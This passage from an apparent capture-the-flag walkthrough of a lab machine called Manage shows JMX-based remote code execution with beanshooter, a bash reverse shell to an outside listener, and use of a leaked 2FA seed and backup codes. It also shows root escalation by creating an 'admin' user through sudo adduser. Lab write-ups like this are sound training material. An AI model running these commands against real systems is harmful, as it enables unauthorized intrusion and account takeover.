[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=Valve,host=localhost,context=/manager,name=BasicAuthenticator)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=RequestProcessor,worker="http-nio-8080",name=HttpRequest15)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=Valve,host=localhost,context=/examples,name=StandardContextValve)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=RequestProcessor,worker="http-nio-8080",name=HttpRequest6)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=RequestProcessor,worker="http-nio-8080",name=HttpRequest30)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=Valve,host=localhost,name=AccessLogValve)
[+] - org.apache.catalina.mbeans.ContainerMBean (Catalina:j2eeType=Servlet,WebModule=//localhost/,name=jsp,J2EEApplication=none,J2EEServer=none)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=ParallelWebappClassLoader,host=localhost,context=/manager)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=WebResourceRoot,host=localhost,context=/manager,name=Cache)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:j2eeType=Filter,WebModule=//localhost/docs,name=Tomcat WebSocket (JSR356) Filter,J2EEApplication=none,J2EEServer=none)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=JspMonitor,WebModule=//localhost/,name=jsp,J2EEApplication=none,J2EEServer=none)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=RequestProcessor,worker="http-nio-8080",name=HttpRequest39)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=ParallelWebappClassLoader,host=localhost,context=/host-manager)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=Valve,host=localhost,name=StandardHostValve)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=Valve,host=localhost,context=/host-manager,name=RemoteAddrValve)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:j2eeType=Filter,WebModule=//localhost/host-manager,name=HTTP header security filter,J2EEApplication=none,J2EEServer=none)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=RequestProcessor,worker="http-nio-8080",name=HttpRequest8)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=Manager,host=localhost,context=/docs)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=WebResourceRoot,host=localhost,context=/,name=Cache)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=RequestProcessor,worker="http-nio-8080",name=HttpRequest5)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=RequestProcessor,worker="http-nio-8080",name=HttpRequest16)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=SocketProperties,name="http-nio-8080")
[+] - org.apache.catalina.mbeans.ContainerMBean (Catalina:j2eeType=Servlet,WebModule=//localhost/examples,name=bytecounter,J2EEApplication=none,J2EEServer=none)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=WebResourceRoot,host=localhost,context=/docs,name=Cache)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=WebResourceRoot,host=localhost,context=/docs)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=RequestProcessor,worker="http-nio-8080",name=HttpRequest17)
[+] - org.apache.catalina.mbeans.ContainerMBean (Catalina:j2eeType=Servlet,WebModule=//localhost/examples,name=HelloWorldExample,J2EEApplication=none,J2EEServer=none)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=RequestProcessor,worker="http-nio-8080",name=HttpRequest18)
[+] - org.apache.catalina.mbeans.ContextMBean (Catalina:j2eeType=WebModule,name=//localhost/host-manager,J2EEApplication=none,J2EEServer=none)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=Server)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=WebResourceRoot,host=localhost,context=/)
[+] - org.apache.catalina.mbeans.ContainerMBean (Catalina:j2eeType=Servlet,WebModule=//localhost/manager,name=jsp,J2EEApplication=none,J2EEServer=none)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=Valve,host=localhost,context=/,name=StandardContextValve)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=RequestProcessor,worker="http-nio-8080",name=HttpRequest7)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=Valve,host=localhost,context=/,name=NonLoginAuthenticator)
[+] - org.apache.catalina.mbeans.ContextEnvironmentMBean (Catalina:type=Environment,resourcetype=Context,host=localhost,context=/examples,name=foo/name4)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=RequestProcessor,worker="http-nio-8080",name=HttpRequest23)
[+] - org.apache.catalina.mbeans.ContainerMBean (Catalina:j2eeType=Servlet,WebModule=//localhost/examples,name=responsetrailer,J2EEApplication=none,J2EEServer=none)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=ParallelWebappClassLoader,host=localhost,context=/)
[+] - org.apache.catalina.mbeans.ContextEnvironmentMBean (Catalina:type=Environment,resourcetype=Context,host=localhost,context=/examples,name=foo/bar/name2)
[+] - com.sun.management.internal.DiagnosticCommandImpl (com.sun.management:type=DiagnosticCommand) (action: diagnostic)
[+]
[+] Enumerating tomcat users:
[+]
[+] - Listing 2 tomcat users:
[+]
[+] ----------------------------------------
[+] Username: manager
[+] Password: fhErvo2r9wuTEYiYgt
[+] Roles:
[+] Users:type=Role,rolename="manage-gui",database=UserDatabase
[+]
[+] ----------------------------------------
[+] Username: admin
[+] Password: onyRPCkaG4iX72BrRtKgbszd
[+] Roles:
[+] Users:type=Role,rolename="role1",database=UserDatabase
There’s a ton there, which can be summarized as:
- It finds a jmxrmi bond to port 41557.
- Accessing the MBean server there does not require auth. MBeans are like admin panels for the Java application.
- It enumerates 198 MBeans.
- It finds two tomcat users and gets their passwords and roles.
Shell as tomcat
Interactive RCE
Having the tomcat passwords is nice (and I’ll come back to them later), but not actually necessary to get execution on Manage from here. beanshooter
has a command standard
that will deploy the StandardMBean, which will then upload the TonkaBean. With access to Tonka, I can run commands and get a shell on the system.
I’ll start with standard
:
oxdf@hacky$ java -jar beanshooter-4.1.0-jar-with-dependencies.jar standard 10.129.234.57 2222 tonka
[+] Creating a TemplateImpl payload object to abuse StandardMBean
[+]
[+] Deploying MBean: StandardMBean
[+] MBean with object name de.qtc.beanshooter:standard=190849689523829 was successfully deployed.
[+]
[+] Caught NullPointerException while invoking the newTransformer action.
[+] This is expected behavior and the attack most likely worked :)
[+]
[+] Removing MBean with ObjectName de.qtc.beanshooter:standard=190849689523829 from the MBeanServer.
[+] MBean was successfully removed.
Now I’ll use the tonka shell
command to get an interactive shell:
oxdf@hacky$ java -jar beanshooter-4.1.0-jar-with-dependencies.jar tonka shell 10.129.234.57 2222
[tomcat@10.129.234.57 /]$ id
uid=1001(tomcat) gid=1001(tomcat) groups=1001(tomcat)
It’s not a full shell, but access to the Java Runtime.exec
method. But that’s good enough.
user.txt
is in the tomcat user’s home directory, /opt/tomcat
:
[tomcat@10.129.234.57 /opt/tomcat]$ cat user.txt
a86d44c7************************
Reverse Shell
I’ll give the command for a bash reverse shell to the beanshooter
shell:
[tomcat@10.129.234.57 /opt/tomcat]$ bash -c 'bash -i >& /dev/tcp/10.10.14.79/443 0>&1'
It hangs, but at my listening nc
there’s a shell:
oxdf@hacky$ nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.129.234.57 57862
bash: cannot set terminal process group (1019): Inappropriate ioctl for device
bash: no job control in this shell
tomcat@manage:~$
I’ll upgrade the shell using the standard trick:
tomcat@manage:~$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
tomcat@manage:~$ ^Z
[1]+ Stopped nc -lnvp 443
oxdf@hacky$ stty raw -echo ; fg
nc -lnvp 443
reset
reset: unknown terminal type unknown
Terminal type? screen
tomcat@manage:~$
Shell as useradmin
Enumeration
Home Directories
There are two users with home directories in /home
:
tomcat@manage:/home$ ls
karl useradmin
Those same users (plus root) have shells configured in passwd
:
tomcat@manage:/$ cat /etc/passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
karl:x:1000:1000:karl green:/home/karl:/bin/bash
useradmin:x:1002:1002:,,,:/home/useradmin:/bin/bash
Surprisingly, tomcat can access both. There’s nothing interesting in karl. useradmin
has a couple interesting things:
tomcat@manage:/home/useradmin$ ls -la
total 36
drwxr-xr-x 5 useradmin useradmin 4096 Jun 26 09:58 .
drwxr-xr-x 4 root root 4096 Jun 21 2024 ..
drwxrwxr-x 2 useradmin useradmin 4096 Jun 21 2024 backups
lrwxrwxrwx 1 useradmin useradmin 9 Jun 21 2024 .bash_history -> /dev/null
-rw-r--r-- 1 useradmin useradmin 220 Jun 21 2024 .bash_logout
-rw-r--r-- 1 useradmin useradmin 3771 Jun 21 2024 .bashrc
drwx------ 2 useradmin useradmin 4096 Jun 21 2024 .cache
-r-------- 1 useradmin useradmin 200 Jun 21 2024 .google_authenticator
-rw-r--r-- 1 useradmin useradmin 807 Jun 21 2024 .profile
drwxrwxr-x 2 useradmin useradmin 4096 Jun 21 2024 .ssh
.google_authenticator
suggests there’s two factor on this account for at least some logins. It’s only readable by the useradmin user. There is a world-readable backup.tar.gz
in backups
:
tomcat@manage:/home/useradmin$ ls -l backups/
total 4
-rw-rw-r-- 1 useradmin useradmin 3088 Jun 21 2024 backup.tar.gz
Backup
I’ll copy the backup.tar.gz
file to a temp directory to extract it:
tomcat@manage:/home/useradmin$ mktemp -d
/tmp/tmp.mwupAE8pT3
tomcat@manage:/home/useradmin$ cp backups/backup.tar.gz /tmp/tmp.mwupAE8pT3
tomcat@manage:/home/useradmin$ cd /tmp/tmp.mwupAE8pT3
tomcat@manage:/tmp/tmp.mwupAE8pT3$ tar xf backup.tar.gz
Running ls
makes it look like it didn’t work:
tomcat@manage:/tmp/tmp.mwupAE8pT3$ ls
backup.tar.gz
But all the files in the archive are hidden (start with .
):
tomcat@manage:/tmp/tmp.mwupAE8pT3$ tar tf backup.tar.gz
./
./.bash_logout
./.profile
./.ssh/
./.ssh/id_ed25519
./.ssh/authorized_keys
./.ssh/id_ed25519.pub
./.bashrc
./.google_authenticator
./.cache/
./.cache/motd.legal-displayed
./.bash_history
And they are there:
tomcat@manage:/tmp/tmp.mwupAE8pT3$ ls -la
total 36
drwxr-x--- 4 tomcat tomcat 4096 Jun 21 2024 .
drwxrwxrwt 16 root root 4096 Jul 24 21:02 ..
-rw-r----- 1 tomcat tomcat 3088 Jul 24 21:02 backup.tar.gz
lrwxrwxrwx 1 tomcat tomcat 9 Jun 21 2024 .bash_history -> /dev/null
-rw-r----- 1 tomcat tomcat 220 Jun 21 2024 .bash_logout
-rw-r----- 1 tomcat tomcat 3771 Jun 21 2024 .bashrc
drwx------ 2 tomcat tomcat 4096 Jun 21 2024 .cache
-r-------- 1 tomcat tomcat 200 Jun 21 2024 .google_authenticator
-rw-r----- 1 tomcat tomcat 807 Jun 21 2024 .profile
drwxr-x--- 2 tomcat tomcat 4096 Jun 21 2024 .ssh
.google_authenticator
gives the seed and backup codes for the 2FA:
tomcat@manage:/tmp/tmp.mwupAE8pT3$ cat .google_authenticator
CLSSSMHYGLENX5HAIFBQ6L35UM
" RATE_LIMIT 3 30 1718988529
" WINDOW_SIZE 3
" DISALLOW_REUSE 57299617
" TOTP_AUTH
99852083
20312647
73235136
92971994
86175591
98991823
54032641
69267218
76839253
56800775
Password Reuse
If I try the first password, “fhErvo2r9wuTEYiYgt” (for manager) with the useradmin account, it fails:
tomcat@manage:/tmp/tmp.mwupAE8pT3$ su - useradmin
Password:
su: Authentication failure
The second one, “onyRPCkaG4iX72BrRtKgbszd”, asks for the “Verification code”:
tomcat@manage:/tmp/tmp.mwupAE8pT3$ su - useradmin
Password:
Verification code:
Entering one of the backup codes will work:
tomcat@manage:/tmp/tmp.mwupAE8pT3$ su - useradmin
Password:
Verification code:
useradmin@manage:~$
I can also use the seed with oathtool
:
oxdf@hacky$ oathtool -b --totp 'CLSSSMHYGLENX5HAIFBQ6L35UM'
548476
It’s important that the time on my computer match the time on Manage if I want to go this route.
Shell as root
Enumeration
useradmin can run adduser as any user with sudo
:
tomcat@manage:/tmp/tmp.mwupAE8pT3$ su - useradmin
Password:
Verification code:
useradmin@manage:~$ sudo -l
Matching Defaults entries for useradmin on manage:
env_reset, timestamp_timeout=1440, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User useradmin may run the following commands on manage:
(ALL : ALL) NOPASSWD: /usr/sbin/adduser ^[a-zA-Z0-9]+$
The regex is very clear here. I get one argument, and it has to be all letters and numbers.
Ubuntu Background
Default sudoers File
The sudo
package for Ubuntu is located on Launchpad. I’ll clone a copy to my host:
oxdf@hacky$ git clone -b ubuntu/jammy-updates https://git.launchpad.net/ubuntu/+source/sudo
Cloning into 'sudo'...
remote: Enumerating objects: 23151, done.
remote: Counting objects: 100% (23151/23151), done.
remote: Compressing objects: 100% (7794/7794), done.
remote: Total 23151 (delta 17210), reused 20034 (delta 14799)
Receiving objects: 100% (23151/23151), 24.70 MiB | 1.88 MiB/s, done.
Resolving deltas: 100% (17210/17210), done.
The default config file is at debian/etc/sudoers
:
#
# This file MUST be edited with the 'visudo' command as root.
#
# Please consider adding local content in /etc/sudoers.d/ instead of
# directly modifying this file.
#
# See the man page for details on how to write a sudoers file.
#
Defaults env_reset
Defaults mail_badpass
Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin"
Defaults use_pty
# This preserves proxy settings from user environments of root
# equivalent users (group sudo)
#Defaults:%sudo env_keep += "http_proxy https_proxy ftp_proxy all_proxy no_proxy"
# This allows running arbitrary commands, but so does ALL, and it means
# different sudoers have their choice of editor respected.
#Defaults:%sudo env_keep += "EDITOR"
# Completely harmless preservation of a user preference.
#Defaults:%sudo env_keep += "GREP_COLOR"
# While you shouldn't normally run git as root, you need to with etckeeper
#Defaults:%sudo env_keep += "GIT_AUTHOR_* GIT_COMMITTER_*"
# Per-user preferences; root won't have sensible values for them.
#Defaults:%sudo env_keep += "EMAIL DEBEMAIL DEBFULLNAME"
# "sudo scp" or "sudo rsync" should be able to use your SSH agent.
#Defaults:%sudo env_keep += "SSH_AGENT_PID SSH_AUTH_SOCK"
# Ditto for GPG agent
#Defaults:%sudo env_keep += "GPG_AGENT_INFO"
# Host alias specification
# User alias specification
# Cmnd alias specification
# User privilege specification
root ALL=(ALL:ALL) ALL
# Members of the admin group may gain root privileges
%admin ALL=(ALL) ALL
# Allow members of group sudo to execute any command
%sudo ALL=(ALL:ALL) ALL
# See sudoers(5) for more information on "@include" directives:
@includedir /etc/sudoers.d
There’s a ton of comments there. By default, the root user and members of the admin and sudo groups can run all commands as any user.
Default Groups
Groups on Debian-based OSes like Ubuntu are defined in /etc/group
. This file is installed as part of the base-passwd package. Just like above, I can git clone https://git.launchpad.net/ubuntu/+source/base-passwd
and find the default groups
file, this time in the base of the repo as group.master
:
root:*:0:
daemon:*:1:
bin:*:2:
sys:*:3:
adm:*:4:
tty:*:5:
disk:*:6:
lp:*:7:
mail:*:8:
news:*:9:
uucp:*:10:
man:*:12:
proxy:*:13:
kmem:*:15:
dialout:*:20:
fax:*:21:
voice:*:22:
cdrom:*:24:
floppy:*:25:
tape:*:26:
sudo:*:27:
audio:*:29:
dip:*:30:
www-data:*:33:
backup:*:34:
operator:*:37:
list:*:38:
irc:*:39:
src:*:40:
shadow:*:42:
utmp:*:43:
video:*:44:
sasl:*:45:
plugdev:*:46:
staff:*:50:
games:*:60:
users:*:100:
nogroup:*:65534:
Something interesting to note - there is no admin group!
adduser
The help menu for adduser
shows the options:
oxdf@hacky$ adduser -h
adduser [--uid id] [--firstuid id] [--lastuid id]
[--gid id] [--firstgid id] [--lastgid id] [--ingroup group]
[--add-extra-groups] [--encrypt-home] [--shell shell]
[--comment comment] [--home dir] [--no-create-home]
[--allow-all-names] [--allow-bad-names]
[--disabled-password] [--disabled-login]
[--conf file] [--extrausers] [--quiet] [--verbose] [--debug]
user
Add a normal user
adduser --system
[--uid id] [--group] [--ingroup group] [--gid id]
[--shell shell] [--comment comment] [--home dir] [--no-create-home]
[--conf file] [--extrausers] [--quiet] [--verbose] [--debug]
user
Add a system user
adduser --group
[--gid ID] [--firstgid id] [--lastgid id]
[--conf file] [--extrausers] [--quiet] [--verbose] [--debug]
group
addgroup
[--gid ID] [--firstgid id] [--lastgid id]
[--conf file] [--extrausers] [--quiet] [--verbose] [--debug]
group
Add a user group
addgroup --system
[--gid id]
[--conf file] [--extrausers] [--quiet] [--verbose] [--debug]
group
Add a system group
adduser [--extrausers] USER GROUP
Add an existing user to an existing group
Based on the regex in the sudo
configuration, the only thing available to me is to add a normal user and specify the username.
The man page for adduser
has a section on “Add a normal user”, which includes this paragraph:
By default, each user is given a corresponding group with the same name. This is commonly called Usergroups and allows group writable directories to be easily maintained by placing the appropriate users in the new group, setting the set-group-ID bit in the directory, and ensuring that all users use a umask of 002.
Shell as admin
Strategy
I’m able to create a user with any name I want. When I do, a group with the same name will be created and the new user will be in that group.
There is no admin group on Ubuntu by default, and I can confirm that’s the case on Manage:
useradmin@manage:~$ cat /etc/group | grep admin
useradmin:x:1002:
By default, the admin group has extensive sudo
privs on Ubuntu. I can’t see /etc/sudoers
on Manage to verify that’s the case here.
I’ll create a user named admin, that will be put in a newly created group named admin. If the default sudoers
file is in place, that user will be able to run commands as any user.
Create User
I’ll use adduser
to create an admin user:
useradmin@manage:~$ sudo adduser admin
Adding user `admin' ...
Adding new group `admin' (1003) ...
Adding new user `admin' (1003) with group `admin' ...
Creating home directory `/home/admin' ...
Copying files from `/etc/skel' ...
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for admin
Enter the new value, or press ENTER for the default
Full Name []:
Room Number []:
Work Phone []:
Home Phone []:
Other []:
Is the information correct? [Y/n] Y
I’ll create a password, and leave the rest of the info blank. The output shows the new UID and GID of 1003.
To get a shell as admin, I’ll run su - admin
and enter the password I just created.
useradmin@manage:~$ su - admin
Password:
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
admin@manage:~$
sudo
Even on starting a session as admin there’s a nice hint showing that I have sudo
privileges. I can verify that:
admin@manage:~$ sudo -l
[sudo] password for admin:
Matching Defaults entries for admin on manage:
env_reset, timestamp_timeout=1440, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User admin may run the following commands on manage:
(ALL) ALL
sudo -i
will get a shell (sudo bash
would work just as well):
admin@manage:~$ sudo -i
root@manage:~#
And I can grab root.txt
:
root@manage:~# cat root.txt
b3645b7e************************